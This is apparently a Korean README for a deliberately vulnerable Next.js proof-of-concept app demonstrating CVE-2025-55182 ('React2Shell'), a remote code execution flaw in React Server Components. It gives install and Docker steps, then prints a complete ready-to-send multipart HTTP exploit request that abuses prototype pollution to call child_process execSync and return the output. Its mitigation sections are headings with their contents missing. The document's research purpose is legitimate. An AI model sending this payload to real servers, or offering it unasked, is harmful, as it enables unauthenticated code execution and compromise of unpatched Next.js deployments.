
Proof-of-concept Next.js 애플리케이션으로, React Server Components의 치명적인 RCE 취약점인 CVE-2025-55182(React2Shell)를 시연하며, 보안 연구를 위한 익스플로잇 예제와 완화 지침을 제공합니다.
이것은 CVE-2025-55182(일명 "React2Shell")라는 React Server Components의 심각한 원격 코드 실행(RCE) 취약점에 취약한 개념 증명 Next.js 애플리케이션입니다.
이 애플리케이션은 의도적으로 취약하게 만들어졌으며 다음 용도로만 사용해야 합니다:
다음은 절대 하지 마십시오:
CVE-2025-55182는 다음에 영향을 미칩니다:
이 취약점은 React Server Components 페이로드 처리 과정에서의 안전하지 않은 역직렬화로 인해 발생하며, 인증되지 않은 공격자가 특수하게 조작된 HTTP 요청을 통해 서버에서 임의의 코드를 실행할 수 있게 합니다.
의존성 설치:
npm install
개발 서버 실행:
npm run dev
애플리케이션 접속: 브라우저에서 http://localhost:3000을 여십시오.
Docker 이미지 빌드:
docker build -t nextjs-cve-2025-55182 .
컨테이너 실행:
docker run --rm -p 3000:3000 nextjs-cve-2025-55182
애플리케이션 접속: 브라우저에서 http://localhost:3000을 여십시오.
/): React Server Components를 사용하는 간단한 로그인 양식/dashboard): 로그인 후 접근 가능한 보호된 페이지이 애플리케이션은 다음을 사용합니다:
취약점은 RSC 페이로드 역직렬화 메커니즘에 존재하며, 페이지 라우트(예: http://localhost:3000 또는 http://localhost:3000/dashboard)에 악의적인 multipart HTTP 요청을 직접 보내 악용할 수 있습니다. 이 익스플로잇은 React Server Components를 사용하는 모든 페이지에서 작동합니다.
이 취약점은 페이지 라우트(예: http://localhost:3000 또는 http://localhost:3000/dashboard)에 특수하게 조작된 HTTP 요청을 직접 보내 악용할 수 있습니다. 이 익스플로잇은 React Server Components를 사용하는 모든 페이지에서 작동합니다.
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
익스플로잇은 페이지 라우트를 직접 대상으로 합니다 - localhost:3000(홈페이지) 또는 localhost:3000/dashboard(대시보드 페이지)에서 작동합니다.
이 취약점을 해결하려면:
이 개념 증명은 교육 및 보안 연구 목적으로만 제공됩니다.